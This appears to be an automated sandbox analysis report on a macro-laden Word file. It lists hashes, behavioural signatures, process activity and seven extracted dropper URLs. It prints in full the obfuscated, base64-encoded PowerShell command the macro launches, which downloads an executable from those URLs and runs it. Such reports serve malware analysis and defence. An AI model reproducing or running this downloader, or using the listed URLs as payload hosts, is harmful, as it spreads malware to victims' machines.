Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    04/05/2024, 12:34

General

  • Target

    12c2af78ff5e6b07d719ae57a31de63f_JaffaCakes118.doc

  • Size

    173KB

  • MD5

    12c2af78ff5e6b07d719ae57a31de63f

  • SHA1

    c5fd579ec64c0fad6dfa6da819909de435d1f8e5

  • SHA256

    2ebc9a276ec4562dfe54e8fe149d6a6a56a4ff9e96b0f1b760a411c64eacc5f9

  • SHA512

    75d072ba0f0eab4c94ed103e6e28b959d756070573ad14afcb0debd061e19b342eb64689454b6f91945f208a9c28afe2e8db037e4b6bc7417e56e95948f19e67

  • SSDEEP

    1536:7DGGGGGGGGGG2xJLEt+LaaGGGGGGGGGGjLo9xiPIFqaS17dv8qHSDHrLubIaEHpw:XrfrzOH98ipgQyE10gia

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://up.neu.vn/ahubhten/GoU5j/

exe.dropper

http://zsstart.com/mobile/lM4onHI/

exe.dropper

https://softgon.com/wp-content/gjVNOlY/

exe.dropper

https://studiolegaletufano.net/setting/LFkMN/

exe.dropper

http://trillionstarplus.com/wp-admin/SVhB4/

exe.dropper

http://blog.tobenum.club/wp-content/drHj/

exe.dropper

http://homful.info/wp-content/5UEyn/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 10 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\12c2af78ff5e6b07d719ae57a31de63f_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2216
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2440
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABOAHgAeQA4AHEAbwBhAD0AKAAnAFYAJwArACcAbwA5ACcAKwAoACcAbAB6AHgAJwArACcAYwAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgB2ADoAVQBTAGUAUgBwAHIAbwBmAEkATABFAFwATwBIAEsAVQBKAFAAaABcAG8ARgB0AHkAVwBlAEkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBjAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAHUAcgBJAGAAVABZAGAAcABgAFIAbwB0AE8AQwBgAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzACcAKwAnADEAJwArACcAMgAsACAAdABsAHMAMQAnACkAKwAnADEAJwArACcALAAgACcAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQAQQBnAF8AZAAyADAANAAgAD0AIAAoACcAWgBkACcAKwAoACcANQBjACcAKwAnADcAJwApACsAKAAnADYAOQAnACsAJwAxACcAKQApADsAJABRAHAAYQA4AHYAZwA3AD0AKAAnAEoAJwArACgAJwB2AGUAbAA4ACcAKwAnAHMAZwAnACkAKQA7ACQARAA2AHkAXwBmAHAAagA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAGoATQAnACsAJwBIACcAKQArACgAJwBPACcAKwAnAGgAawAnACkAKwAoACcAdQBqAHAAJwArACcAaABqAE0AJwArACcASAAnACsAJwBPAGYAdAB5ACcAKQArACgAJwB3ACcAKwAnAGUAaQAnACkAKwAoACcAagAnACsAJwBNAEgAJwApACkAIAAtAFIAZQBwAGwAQQBDAEUAKAAnAGoAJwArACcATQBIACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABBAGcAXwBkADIAMAA0ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQASgAyADYAcgA3AGwAOQA9ACgAJwBYACcAKwAoACcAegB0ACcAKwAnAGwAZwAnACkAKwAnADIAegAnACkAOwAkAFUAOQA1ADMAMwBkAG8APQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQBUAC4AVwBFAEIAYwBMAGkAZQBOAFQAOwAkAEgAZABnADAAcwB5ADEAPQAoACgAJwBoAHQAdABwAHMAOgAnACsAJwAvAC8AdQBwAC4AJwArACcAbgBlACcAKQArACgAJwB1AC4AdgAnACsAJwBuAC8AYQAnACkAKwAoACcAaAB1AGIAJwArACcAaAB0AGUAJwApACsAKAAnAG4ALwBHAG8AVQAnACsAJwA1AGoALwAnACsAJwAqAGgAJwApACsAKAAnAHQAJwArACcAdABwADoALwAvACcAKQArACgAJwB6AHMAcwB0AGEAcgAnACsAJwB0AC4AYwBvAG0ALwBtACcAKwAnAG8AYgBpAGwAZQAnACsAJwAvACcAKQArACgAJwBsAE0AJwArACcANAAnACkAKwAoACcAbwBuAEgAJwArACcASQAvACcAKQArACcAKgBoACcAKwAnAHQAJwArACgAJwB0AHAAcwAnACsAJwA6AC8ALwAnACsAJwBzAG8AZgAnACkAKwAoACcAdABnACcAKwAnAG8AbgAuACcAKwAnAGMAbwBtAC8AdwBwACcAKQArACcALQBjACcAKwAnAG8AJwArACgAJwBuAHQAZQAnACsAJwBuACcAKQArACgAJwB0AC8AZwAnACsAJwBqACcAKQArACgAJwBWAE4ATwBsACcAKwAnAFkALwAnACsAJwAqACcAKQArACcAaAB0ACcAKwAoACcAdABwACcAKwAnAHMAOgAvAC8AcwB0ACcAKwAnAHUAJwApACsAKAAnAGQAaQAnACsAJwBvAGwAZQBnAGEAbABlACcAKwAnAHQAdQBmACcAKwAnAGEAbgBvAC4AbgBlAHQALwBzACcAKwAnAGUAdAAnACkAKwAoACcAdABpAG4AZwAvAEwAJwArACcARgAnACsAJwBrACcAKQArACcATQBOACcAKwAoACcALwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAvAHQAJwApACsAJwByACcAKwAoACcAaQBsACcAKwAnAGwAJwApACsAKAAnAGkAbwBuAHMAdAAnACsAJwBhACcAKwAnAHIAcAAnACkAKwAoACcAbAB1ACcAKwAnAHMAJwApACsAJwAuACcAKwAoACcAYwBvAG0AJwArACcALwB3ACcAKwAnAHAALQBhACcAKQArACgAJwBkAG0AaQAnACsAJwBuAC8AJwApACsAJwBTAFYAJwArACcAaABCACcAKwAoACcANAAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAOgAvAC8AYgAnACsAJwBsAG8AJwArACcAZwAuAHQAJwApACsAKAAnAG8AYgBlAG4AJwArACcAdQAnACkAKwAnAG0AJwArACgAJwAuAGMAbAAnACsAJwB1AGIALwB3AHAALQBjACcAKwAnAG8AJwArACcAbgB0ACcAKQArACgAJwBlAG4AdAAnACsAJwAvAGQAJwApACsAKAAnAHIASABqAC8AKgBoAHQAdAAnACsAJwBwACcAKwAnADoAJwApACsAKAAnAC8AJwArACcALwAnACsAJwBoAG8AbQBmAHUAbAAuAGkAbgAnACsAJwBmAG8ALwB3AHAAJwArACcALQBjAG8AJwArACcAbgB0AGUAbgAnACsAJwB0ACcAKQArACgAJwAvADUAVQBFACcAKwAnAHkAJwApACsAJwBuAC8AJwApAC4AIgBTAGAAUABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFkAaQA0ADAAXwBfAGoAPQAoACgAJwBCAG4AJwArACcAbQBjADAAJwApACsAJwBsAGMAJwApADsAZgBvAHIAZQBhAGMAaAAoACQATwAzAGIAbwBqAGYAcAAgAGkAbgAgACQASABkAGcAMABzAHkAMQApAHsAdAByAHkAewAkAFUAOQA1ADMAMwBkAG8ALgAiAEQAYABPAFcAbgBMAG8AYQBgAGQARgBJAEwAZQAiACgAJABPADMAYgBvAGoAZgBwACwAIAAkAEQANgB5AF8AZgBwAGoAKQA7ACQAUQA3AHMAZQBkAGkANAA9ACgAKAAnAE0AJwArACcAOQBfADcAeAAnACkAKwAnAHUAJwArACcAMwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARAA2AHkAXwBmAHAAagApAC4AIgBMAGUAYABOAEcAVABIACIAIAAtAGcAZQAgADMAMgAyADAAMAApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABEADYAeQBfAGYAcABqACkAOwAkAEwAbgB5AHoAaQBoAG8APQAoACcAUQBwACcAKwAoACcAdAAnACsAJwAwADcAZQB2ACcAKQApADsAYgByAGUAYQBrADsAJABYAHoAbABpAHYAdwAxAD0AKAAnAE4AJwArACgAJwByAGMAJwArACcAYQAnACkAKwAoACcAbgAnACsAJwB2AHIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAZwB0ADAAcAA4AG8APQAoACcAQwB4ACcAKwAoACcAcgA0ACcAKwAnAGsAbQB3ACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2500

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      d1e17e7b8d455a3f978e5548b4e282c8

      SHA1

      149f59e10ed256a8c5cf40d3bf618b5d13c82e35

      SHA256

      6e0cd1eb6a6ce9edaa48e0a754d8947826b6dcbd49cef89823b17385a63602dc

      SHA512

      72d860d02a55f596e3d1f514c544c4f138959713d8aee891e0ad33493acbb810c30e44d52fc47d0d475c2b608906e009b7c3c5b0269937c8227139e2853a911b

    • memory/2216-12-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-23-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-6-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-7-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-11-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-26-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-9-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-19-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-20-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-22-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-21-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-17-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-18-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-15-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-16-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-14-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-13-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-0-0x000000002F831000-0x000000002F832000-memory.dmp

      Filesize

      4KB

    • memory/2216-2-0x0000000070D2D000-0x0000000070D38000-memory.dmp

      Filesize

      44KB

    • memory/2216-10-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-8-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-30-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-28-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-32-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-31-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-27-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-25-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-24-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-33-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-65-0x0000000070D2D000-0x0000000070D38000-memory.dmp

      Filesize

      44KB

    • memory/2216-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2216-45-0x0000000070D2D000-0x0000000070D38000-memory.dmp

      Filesize

      44KB

    • memory/2216-46-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-48-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2216-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2500-39-0x000000001B4A0000-0x000000001B782000-memory.dmp

      Filesize

      2.9MB

    • memory/2500-40-0x0000000002350000-0x0000000002358000-memory.dmp

      Filesize

      32KB